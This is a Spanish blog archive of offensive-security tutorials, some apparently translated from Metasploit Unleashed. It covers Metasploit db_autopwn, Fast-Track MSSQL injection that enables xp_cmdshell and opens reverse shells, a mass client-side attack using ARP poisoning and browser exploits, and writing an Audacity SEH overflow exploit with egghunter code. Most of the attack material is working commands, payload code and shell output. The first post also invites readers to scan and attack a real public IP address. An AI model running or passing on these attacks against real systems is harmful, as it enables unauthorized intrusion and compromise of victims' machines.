Mostrando entradas con la etiqueta metasploit. Mostrar todas las entradas
Mostrando entradas con la etiqueta metasploit. Mostrar todas las entradas

jueves, 6 de mayo de 2010

Metasploit Framework !!! Auto Shell =) Autopwn

Metasploit Framework !!! Auto Shell =)



Buenas a todos los parceros =)

Bueno alguno de ustedes puede que ya conozcan el framework de metasploit y para los que no conozcan esta tool, les explicare =)

El framework de metasploit es una suite de exploits y de herramientas de seguridad informatica, es una suite perfecta para las pruebas de pentest y para juackear un rato xD


Bueno vamos a comenzar !!!

Una vez instalado el framework en el equipo vamos a realizar una actualizacion al framework. Para realizar eso utilizaremos el comando msfupdate.


Una vez muestre la revision, significa que ya esta actualizado completamente =)

Ahora entraremos en la consola de comandos del metasploit ejecutando msfconsole.


Una vez adentro vamos a activar el plugin de sqlite el cual nos permitira crear la base de datos para realizar un autoataque ;) asi que para hacer eso escribiremos: db_driver sqlite3


Listo =)

Una vez cargado el driver vamos a crear una base de datos para que se guarde toda la info, para ello ejecutaremos: db_create hack1


hack1 lo pueden cambiar por cualquier otro nombre...Listo !! =p

Creada la base de datos procedemos a realizar el scanneo con nmap y a guardarlo en la base de datos =) para eso ejecutamos: db_nmap -sS -sV -PN 67.228.192.227


recuerden 67.228.192.227 se cambia por la ip que quieren scannear, esta ip es escogida al azar de google asi q pueden hacer lo q quieran con ella xD

Bueno una vez scanneado el host, el resultado se guarda automaticamente en la base de datos creada anteriormente. Ahora vamos a coger los exploits de cada puerto y los vamos a probar todos =) aunque eso no lo hacemos nosotros se hara automaticamente con la opcion db_autopwn y cuando salga la shell simplemente nos dara el acceso. Bonito cierto ?? =)

Bueno para hacer eso ejecutaremos: db_autopwn -p -e -t -s -r -b

Usage: db_autopwn [options]
-h Display this help text
-t Show all matching exploit modules
-x Select modules based on vulnerability references
-p Select modules based on open ports
-e Launch exploits against all matched targets
-r Use a reverse connect shell
-b Use a bind shell on a random port (default)
-q Disable exploit module output

-R [rank] Only run modules with a minimal rank
-I [range] Only exploit hosts inside this range
-X [range] Always exclude hosts inside this range
-PI [range] Only exploit hosts with these ports open
-PX [range] Always exclude hosts with these ports open
-m [regex] Only run modules whose name matches the regex

Ya con esto solo nos queda esperar la shell =) Facilito cierto ?? jeje

Gracias a los de metasploit por esta gran tool y espero les guste el tuto =)

Atentamente,

Checho
Project-Ric Staff
HackBeerWii Event

miércoles, 5 de mayo de 2010

Actualizar Fast-Track

Desde el menú de modo Fast-Track interactivo, hay varias opciones aquí para ayudarle en una prueba de penetración. Lo primero es lo primero, Fast-Track le permite mantenerse al día con las últimas y mejores herramientas. Se actualizará automáticamente, vMetasploit, Aircrack-NG, W3Af, Nikto, Milw0rm Exploits, Kismet-Newcore, and SQLMap. Para actualizar todas estas herramientas, basta con desplazarse al menú actualizaciones y seleccionar cuáles desea actualizar o actualizar todo.

root@bt4:/pentest/exploits/fasttrack# ./fast-track.py -i

***********************************************
******* Performing dependency checks... *******
***********************************************

*** FreeTDS and PYMMSQL are installed. (Check) ***
*** PExpect is installed. (Check) ***
*** ClientForm is installed. (Check) ***
*** Psyco is installed. (Check) ***
*** Beautiful Soup is installed. (Check) ***
*** PyMills is installed. (Check) ***

Also ensure ProFTP, WinEXE, and SQLite3 is installed from
the Updates/Installation menu.

Your system has all requirements needed to run Fast-Track!

Fast-Track Main Menu:

Fast-Track - Where it's OK to finish in under 3 minutes...
Version: v4.0
Written by: David Kennedy (ReL1K)
http://www.securestate.com
http://www.thepentest.com

1. Fast-Track Updates
2. Autopwn Automation
3. Microsoft SQL Tools
4. Mass Client-Side Attack
5. Exploits
6. Binary to Hex Payload Converter
7. Payload Generator
8. Fast-Track Tutorials
9. Fast-Track Changelog
10. Fast-Track Credits
11. Exit

Enter the number: 1

Fast-Track Updates

Enter a number to update

1. Update Fast-Track
2. Metasploit 3 Update
3. Aircrack-NG Update
4. Nikto Plugin Update
5. W3AF Update
6. SQLMap Update
7. Installation Menu
8. Update Milw0rm Exploits
9. Update Kismet-Newcore
10. Update Everything
11. Return to Main Menu

Enter number: 10

Note this DOES NOT install prereqs, please go to the installation menu for that.
Updating Fast-Track, Metasploit, Aircrack-NG, Nikto, W3AF, Milw0rm, Kismet-NewCore and SQL Map

**** Update complete *****

Returning to main menu....


ASEGURESE de Actualizar Con Frecuencia Por via rapida, por Las MEJORAs continuas que se estan realizando. ¡Entremos en Los vectores de Ataque que BACKTRACK4 Tiene en su arsenal.


Podemos combinar Lo Que hemos aprendido Hasta Ahora para CREAR Una Actualización de Una Línea:

root@bt4:/pentest/exploits/fasttrack# ./fast-track.py -c 1 2

----------------------------------------------------------------

Fast-Track v4.0 - Where it's OK to finish in under 3 minutes...

Automated Penetration Testing

Written by David Kennedy (ReL1K)
SecureState
http://www.securestate.com
dkennedy@securestate.com

Wiki and Bug Track: http://www.thepentest.com

Please read the README and LICENSE before using
this tool for acceptable use and modifications.

----------------------------------------------------------------
Modes:

Interactive Menu Driven Mode: -i
Command Line Mode: -c
Web GUI Mode -g

Examples: ./fast-track.py -i
./fast-track.py -c
./fast-track.py -g
./fast-track.py -g

Usage: ./fast-track.py


************************************************************************
Fast-Track Command Line - Where it's OK to finish in under 3 minutes...
************************************************************************

**** MAKE SURE YOU INSTALL ALL THE DEPENDENCIES FIRST (setup.py) ****

Visit http://trac.thepentest.com for tutorials or to file a bug.

1. Update Menu
2. Autopwn Automated
3. MS-SQL Injector
4. MS-SQL Bruter
5. Binary to Hex Payload Generator
6. Mass Client-Side Attack
7. Exploits
8. SQLPwnage
9. Payload Generator
10. Changelog
11. Credits
12. About

Usage: fast-track.py -c


Note que esta no se instalan PreRequisitos, por favor vaya al menú de instalación para eso. Actualización de Vía Rápida, Metasploit, Aircrack-NG, Nikto, w3af, Kismet NewCore y SQL Map.


© Offensive Security 2009

Original by www.offensive-security.com/metasploit-unleashed/
Traslated by tundervirld

MSSQL Injection

MSSQL Injection


Las inyecciones MSSQL utiliza algunas técnicas avanzadas para obtener informacion y acceso en última instancia, el pleno acceso sin restricciones al sistema subyacente. En esta sección se requiere conocer un sitio que pueda ser vulnerable a ataques de inyecciones SQL. Una vez que ello esté previsto, por vía rápida puede hacer el trabajo por usted y explotar el sistema. Tenga en cuenta que esto sólo funcionará en Microsoft SQL back-end en una aplicación web.

Fast-Track Main Menu:

Fast-Track - Where it's OK to finish in under 3 minutes...
Version: v4.0
Written by: David Kennedy (ReL1K)
http://www.securestate.com
http://www.thepentest.com

1. Fast-Track Updates
2. Autopwn Automation
3. Microsoft SQL Tools
4. Mass Client-Side Attack
5. Exploits
6. Binary to Hex Payload Converter
7. Payload Generator
8. Fast-Track Tutorials
9. Fast-Track Changelog
10. Fast-Track Credits
11. Exit

Enter the number: 3

Microsoft SQL Attack Tools

Pick a list of the tools from below:

1. MSSQL Injector
2. MSSQL Bruter
3. SQLPwnage

Enter your choice : 1

Enter which SQL Injector you want to use

1. SQL Injector - Query String Parameter Attack
2. SQL Injector - POST Parameter Attack
3. SQL Injector - GET FTP Payload Attack
4. SQL Injector - GET Manual Setup Binary Payload Attack

Enter your choice:

Notificación de los diferentes sub-menús que están disponibles. Haremos una revision a través de cada uno y explicar su propósito. El SQL Injector - Query String Parameter Attack' Busca especificamente vulnerabilidades en sistemas que permitan el ingreso de cadenas de escritura de un sitio web. cadenas de consulta son representados como sigue:?querystring1=value1&querystring2=value2 y la inyección ocurre a menudo cuando valor1 y valor2 se encuentran. Vamos a navegar a un sitio vulnerable:

Tenga en cuenta los parámetros de cadena de consulta en la parte superior: inicio de sesión y contraseña. Vamos a lanzar una única sentencia en el «Parámetro login 'cadena de consulta.

Archivo:Http://www.offensive-security.com/msf/inect here.jpg

Ahora que sabemos que el campo de entrada es susceptible a la inyección de SQL, tenemos que decirle rapidamente a dónde ir realmente a lanzar el ataque. Hacemos esto mediante la especificación de "INJECTHERE" en lugar del parámetro de inyectables en la cadena de consulta. Esto le permitirá rapidamente conocer lo que queremos atacar. Mira el inferior a la producción y el resultado final.

Enter which SQL Injector you want to use

1. SQL Injector - Query String Parameter Attack
2. SQL Injector - POST Parameter Attack
3. SQL Injector - GET FTP Payload Attack
4. SQL Injector - GET Manual Setup Binary Payload Attack

Enter your choice: 1


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Requirements: PExpect
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

This module uses a reverse shell by using the binary2hex method for uploading.
It does not require FTP or any other service, instead we are using the debug
function in Windows to generate the executable.

You will need to designate where in the URL the SQL Injection is by using 'INJECTHERE

So for example, when the tool asks you for the SQL Injectable URL, type:

http://www.thisisafakesite.com/blah.aspx?id='INJECTHERE&password=blah



Enter the URL of the susceptible site, remember to put 'INJECTHERE for the injectible parameter

Example:http://www.thisisafakesite.com/blah.aspx?id='INJECTHERE&password=blah

Enter here: http://10.211.55.128/Default.aspx?login='INJECTHERE&password=blah
Sending initial request to enable xp_cmdshell if disabled....
Sending first portion of payload (1/4)....
Sending second portion of payload (2/4)....
Sending third portion of payload (3/4)...
Sending the last portion of the payload (4/4)...
Running cleanup before executing the payload...
Running the payload on the server...Sending initial request to enable xp_cmdshell if disabled....
Sending first portion of payload (1/4)....
Sending second portion of payload (2/4)....
Sending third portion of payload (3/4)...
Sending the last portion of the payload (4/4)...
Running cleanup before executing the payload...
Running the payload on the server...
listening on [any] 4444 ...
connect to [10.211.55.130] from (UNKNOWN) [10.211.55.128] 1041
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>


Fast-Track automaticamente re habilita el procedimiento almacenado 'xp_cmdshell' si está deshabilitado y ofrece un reverse payload en el sistema, en última instancia, nos da acceso total a lo largo de la inyección de SQL!

Este fue un gran ejemplo de cómo atacar los parámetros de cadena de consulta, pero ¿qué formas? parámetros Post también puede ser manejados rapida y facil mente . En las inyeecciones MSSQL del menu de "Fast-Track" , seleccione 'SQL Injector en el menu 'MSSQL Injector' seleccione 'SQL Injector - POST Parameter Attack'.

Enter which SQL Injector you want to use

1. SQL Injector - Query String Parameter Attack
2. SQL Injector - POST Parameter Attack
3. SQL Injector - GET FTP Payload Attack
4. SQL Injector - GET Manual Setup Binary Payload Attack

Enter your choice: 2

This portion allows you to attack all forms on a specific website without having to specify
each parameter. Just type the URL in, and Fast-Track will auto SQL inject to each parameter
looking for both error based injection as well as blind based SQL injection. Simply type
the website you want to attack, and let it roll.

Example: http://www.sqlinjectablesite.com/index.aspx

Enter the URL to attack: http://10.211.55.128/Default.aspx

Forms detected...attacking the parameters in hopes of exploiting SQL Injection..

Sending payload to parameter: txtLogin

Sending payload to parameter: txtPassword

[-] The PAYLOAD is being delivered. This can take up to two minutes. [-]

listening on [any] 4444 ...
connect to [10.211.55.130] from (UNKNOWN) [10.211.55.128] 1041
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>

Por no citar Office Max, que era fácil! Fast-Track detecta automáticamente los formularios y ataca el sistema de inyección de SQL, en última instancia le da acceso a los cuadros.

Si por alguna razón el ataque cadena de parámetro de consulta no se realizó correctamente, puede utilizar el 'SQL Injector - GET FTP Payload Attack'. Para ello es necesario que instale ProFTPD, y se utiliza raramente. En este módulo se configurará un payload through FTP echo files, finalmente, entregar la carga a través de FTP y de inyección SQL.

El 'SQL Injector - GET Manual Setup Binary Payload Attack' se puede usar si usted está atacando de una máquina, pero tiene un oyente en otra máquina. Esto se utiliza a menudo si está NAT y tiene una caja de escucha establecido en el Internet y no en el sistema desde el que está atacando.

Enter which SQL Injector you want to use

1. SQL Injector - Query String Parameter Attack
2. SQL Injector - POST Parameter Attack
3. SQL Injector - GET FTP Payload Attack
4. SQL Injector - GET Manual Setup Binary Payload Attack

Enter your choice: 4

The manual portion allows you to customize your attack for whatever reason.

You will need to designate where in the URL the SQL Injection is by using 'INJECTHERE

So for example, when the tool asks you for the SQL Injectable URL, type:

http://www.thisisafakesite.com/blah.aspx?id='INJECTHERE&password=blah



Enter the URL of the susceptible site, remember to put 'INJECTHERE for the injectible parameter

Example: http://www.thisisafakesite.com/blah.aspx?id='INJECTHERE&password=blah

Enter here: http://10.211.55.128/Default.aspx?login='INJECTHERE&password=blah
Enter the IP Address of server with NetCat Listening: 10.211.55.130
Enter Port number with NetCat listening: 9090


Sending initial request to enable xp_cmdshell if disabled....
Sending first portion of payload....
Sending second portion of payload....
Sending next portion of payload...
Sending the last portion of the payload...
Running cleanup...
Running the payload on the server...
listening on [any] 9090 ...
10.211.55.128: inverse host lookup failed: Unknown server error : Connection timed out
connect to [10.211.55.130] from (UNKNOWN) [10.211.55.128] 1045
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>


© Offensive Security 2009

Original by www.offensive-security.com/metasploit-unleashed/
Traslated by tundervirld

ATAQUES Mass-Client

ATAQUES Mass-Client

Fast-Track's 'Mass Client-Side Attack'es de naturaleza similar a los db_autopwn Metasploit. Cuando un usuario se conecta a su sitio web malicioso, una gran cantidad de exploits personalizadoS desarrolladoS en Fast-Track y el repositorio de Metasploit se pondrá en marcha en el cliente. Una cosa a añadir es que también puede utilizar el envenenamiento de caché ARP con ettercap con el fin de forzar a la víctima a su sitio! Vamos a probar esto.


Fast-Track Main Menu:

Fast-Track - Where it's OK to finish in under 3 minutes...
Version: v4.0
Written by: David Kennedy (ReL1K)
http://www.securestate.com
http://www.thepentest.com

1. Fast-Track Updates
2. Autopwn Automation
3. Microsoft SQL Tools
4. Mass Client-Side Attack
5. Exploits
6. Binary to Hex Payload Converter
7. Payload Generator
8. Fast-Track Tutorials
9. Fast-Track Changelog
10. Fast-Track Credits
11. Exit

Enter the number: 4

Metasploit path not defined, you should run setup.py, using the default for now...

Mass Client Client Attack

Requirements: PExpect

Metasploit has a bunch of powerful client-side attacks available in
its arsenal. This simply launches all client side attacks within
Metasploit through msfcli and starts them on various ports
and starts a custom HTTP server for you, injects a new index.html
file, and puts all of the exploits in iframes.

If you can get someone to connect to this web page, it will basically
brute force various client side exploits in the hope one succeeds.
You'll have to monitor each shell if one succeeds.. Once finished,
just have someone connect to port 80 for you and if they are vulnerable
to any of the exploits...should have a nice shell.


Enter the IP Address you want the web server to listen on: 10.211.55.130

Specify your payload:

1. Windows Meterpreter Reverse Meterpreter
2. Generic Bind Shell
3. Windows VNC Inject Reverse_TCP (aka "Da Gui")
4. Reverse TCP Shell

Enter the number of the payload you want: 1

Would you like to use ettercap to ARP poison a host yes or no: yes

Ettercap allows you to ARP poison a specific host and when they browse
a site, force them to use the metasploit site and launch a slew of
exploits from the Metasploit repository. ETTERCAP REQUIRED.


What IP Address do you want to poison: 10.211.55.128
Setting up the ettercap filters....
Filter created...
Compiling Ettercap filter...

etterfilter NG-0.7.3 copyright 2001-2004 ALoR & NaGA


12 protocol tables loaded:
DECODED DATA udp tcp gre icmp ip arp wifi fddi tr eth

11 constants loaded:
VRRP OSPF GRE UDP TCP ICMP6 ICMP PPTP PPPoE IP ARP

Parsing source file 'bin/appdata/fasttrack.filter' done.

Unfolding the meta-tree done.

Converting labels to real offsets done.

Writing output to 'bin/appdata/fasttrack.ef' done.

-> Script encoded into 16 instructions.

Filter compiled...Running Ettercap and poisoning target...
Setting up Metasploit MSFConsole with various exploits...
If an exploit succeeds, type sessions -l to list shells and sessions -i
to interact...


Have someone connect to you on port 80...

Launching MSFConsole and Exploits...

Once you see the Metasploit Console launch all the exploits have someone
connect to you..
SRVPORT => 8072
resource> set URIPATH /
URIPATH => /
resource> set LPORT 9072
LPORT => 9072
resource> exploit
[*] Handler binding to LHOST 0.0.0.0
[*] Exploit running as background job.
resource> use exploit/windows/browser/zenturiprogramchecker_unsafe
[*] Started reverse handler
resource> set PAYLOAD windows/meterpreter/reverse_tcp
[*] Using URL: http://0.0.0.0:8071/
PAYLOAD => windows/meterpreter/reverse_tcp
resource> set LHOST 10.211.55.130
LHOST => 10.211.55.130
[*] Local IP: http://10.211.55.130:8071/
resource> set SRVPORT 8073
[*] Server started.
SRVPORT => 8073
resource> set URIPATH /
URIPATH => /
resource> set LPORT 9073
LPORT => 9073
resource> exploit
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Exploit running as background job.
[*] Using URL: http://0.0.0.0:8072/
[*] Local IP: http://10.211.55.130:8072/
[*] Server started.
msf exploit(zenturiprogramchecker_unsafe) >
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Using URL: http://0.0.0.0:8073/
[*] Local IP: http://10.211.55.130:8073/
[*] Server started.

En este momento cuando nuestra la víctima en 10.211.55.128 va a navegar por cualquier página web, todos los hrefs será reemplazado por nuestra dirección en Internet. Échale un vistazo a continuación

Archivo:victims_browser.jpg

Observe en la esquina inferior izquierda que los puntos de enlace a nuestro sitio web malicioso en 10.211.55.130. Todos los enlaces de Google han sido sustituidos con éxito. Tan pronto como se hace clic en un vínculo, el caos comienza.

[*] Local IP: http://10.211.55.130:8071/
[*] Server started.
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Exploit running as background job.
[*] Using URL: http://0.0.0.0:8072/
[*] Local IP: http://10.211.55.130:8072/
[*] Server started.
msf exploit(zenturiprogramchecker_unsafe) >
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Using URL: http://0.0.0.0:8073/
[*] Local IP: http://10.211.55.130:8073/
[*] Server started.
[*] Sending Adobe Collab.getIcon() Buffer Overflow to 10.211.55.128:1044...
[*] Attempting to exploit ani_loadimage_chunksize
[*] Sending HTML page to 10.211.55.128:1047...
[*] Sending Adobe JBIG2Decode Memory Corruption Exploit to 10.211.55.128:1046...
[*] Sending exploit to 10.211.55.128:1049...
[*] Attempting to exploit ani_loadimage_chunksize
[*] Sending Windows ANI LoadAniIcon() Chunk Size Stack Overflow (HTTP) to 10.211.55.128:1076...
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (10.211.55.130:9007 -> 10.211.55.128:1077
msf exploit(zenturiprogramchecker_unsafe) > sessions -l

Active sessions
===============

Id Description Tunnel
-- ----------- ------
1 Meterpreter 10.211.55.130:9007 -> 10.211.55.128:1077

msf exploit(zenturiprogramchecker_unsafe) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

Tenga en cuenta que el envenenamiento de caché ARP sólo funcionará en sistemas en la misma subred que usted. Este fue un gran ejemplo de cómo el "forzar" a un usuario para buscar su sitio en lugar de tener que incitarles a hacer clic en un enlace y automáticamente los explotan con una variedad de ataques.

Completando el Exploit

Completando el Exploit

De wiki.metasploit-es.com.ar

Encontrando la direccion Return

Este es un desbordamiento SEH estandar. Podemos notar que algunos de los usuarios introducira un "pop, pop, ret" lejos de la pila. Algo interesante que notar de la captura de pantalla de abajo es el hecho que enviamos 2000 bytes en el payload. Sin embargo, pareciera que cuando regresamos al buffer, se trancara. Tenemos alrededor de 80 bytes de espacio para nuestro codigo shell (marcado en azul). Usamos la funcion !safeseh de Immunity para localizar las dll's desprotegidas desde el cual la direccion de retorno puede ser encontrada.

Copiamos encima el DLL y buscamos una instruccion combianda de POP POP RET usando msfpescan.

root@bt4:/pentest/exploits/framework3# ./msfpescan -p libfftw3f-3.dll

[libfftw3f-3.dll]
0x637410a9 pop esi; pop ebp; retn 0x000c
0x63741383 pop edi; pop ebp; ret
0x6374144c pop edi; pop ebp; ret
0x637414d3 pop edi; pop ebp; ret

0x637f597b pop edi; pop ebp; ret
0x637f5bb6 pop edi; pop ebp; ret

root@bt4:/pentest/exploits/framework3#

PoC para Exploit

Mientras usamos la funcion pattern_create para crear el buffer inicial, podemos ahora calcular la longitud del buffer necesaria para sobrescribir el manejador de excepciones.

root@bt4:/pentest/exploits/framework3/tools# ./pattern_offset.rb 67413966
178
root@bt4:/pentest/exploits/framework3/tools#

Modificamos el exploit como corresponde introduciendo una direccion valida de retorno.

[ 'Audacity Universal 1.2 ', { 'Ret' => 0x637410A9} ],

Ahora ajustamos el buffer para redirigir el flujo de la ejecucion al momento del error hacia la direccion de retorno, salta sobre de el (xEB es un "salto corto") y luego cae en el punto de interrupcion del buffer (xCC).

def exploit
buff = "\x41" * 174
buff << "\xeb\x06\x41\x41" buff << [target.ret].pack('V') buff << "\xCC" * 2000 print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(buff) end

Una vez mas, generamos el archivo de exploit, adjuntando Audacity al depurador y importando el archivo malicioso. En este momento, el SEH deberia sobrescribir la direccion, la que nos llevara a la instruccion pop, pop, ret. Establecemos un punto de interrupcion alli, y una vez mas, tomamos la excepcion con shift + F9 y caminamos a travez de pop pop ret con F8.

El salto corto nos lleva a la direccion de retorno, dentro del "codigo shell del buffer".

Otra vez, tenemos muy poco espacio de buffer para nuestro payload. Una rapida inspeccion de la memoria revela que la longitud del todo el buffer puede ser encontrada en el monton. Sabiendo esto, podriamos utilizar los 80 bytes iniciales de espacio para ejecutar un egghunter, lo que buscara y encontrara el payload secundario.

Implementar el MSF egghunter es relativamente facil:

def exploit
hunter = generate_egghunter
egg = hunter[1]

buff = "\x41" * 174
buff << "\xeb\x06\x41\x41" buff << [target.ret].pack('V') buff << "\x90"*4 buff << hunter[0] buff << "\xCC" * 200 buff << egg + egg buff << payload.encoded print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(buff) end

El exploit final debe ser parecido a este: http://www.offensive-security.com/msf/audacity.rb

Ejecutamos el exploit final a traves de un depurador para estar seguros que todo esta bien. Podemos ver que el egghunter ha sido implementado correctamente y funciona perfectamente.

Usamos el exploit final:

root@bt4:/pentest/exploits/framework3# ./msfconsole

=[ msf v3.3-dev
+ -- --=[ 397 exploits - 239 payloads
+ -- --=[ 20 encoders - 7 nops
=[ 181 aux

msf > search audacity
[*] Searching loaded modules for pattern 'audacity'...

Exploits
========

Name Description
---- -----------
windows/fileformat/audacity Audacity 1.2.6 (GRO File) SEH Overflow.

msf > use windows/fileformat/audacity
msf exploit(audacity) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(audacity) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME auda_eviL.gro yes The file name.
OUTPUTPATH /pentest/exploits/framework3/data/exploits yes The location of the file.


Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LHOST 192.168.2.15 yes The local address
LPORT 4444 yes The local port


Exploit target:

Id Name
-- ----
0 Audacity Universal 1.2


msf exploit(audacity) > exploit

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Creating 'auda_eviL.gro' file ...
[*] Generated output file /pentest/exploits/framework3/data/exploits/auda_eviL.gro
[*] Exploit completed, but no session was created.

Y obtenemos una shell meterpreter!

msf exploit(audacity) > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.2.15
LHOST => 192.168.2.15
msf exploit(handler) > exploit

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (192.168.2.15:4444 -> 192.168.2.109:1445)

meterpreter >

Aqui encontraran un video de Immunity pasando por el funcionamiento de un exploit:

http://www.youtube.com/watch?v=LfgAXfAWQXM

© Offensive Security 2009

  • Original by www.offensive-security.com
  • Traslated by Jhyx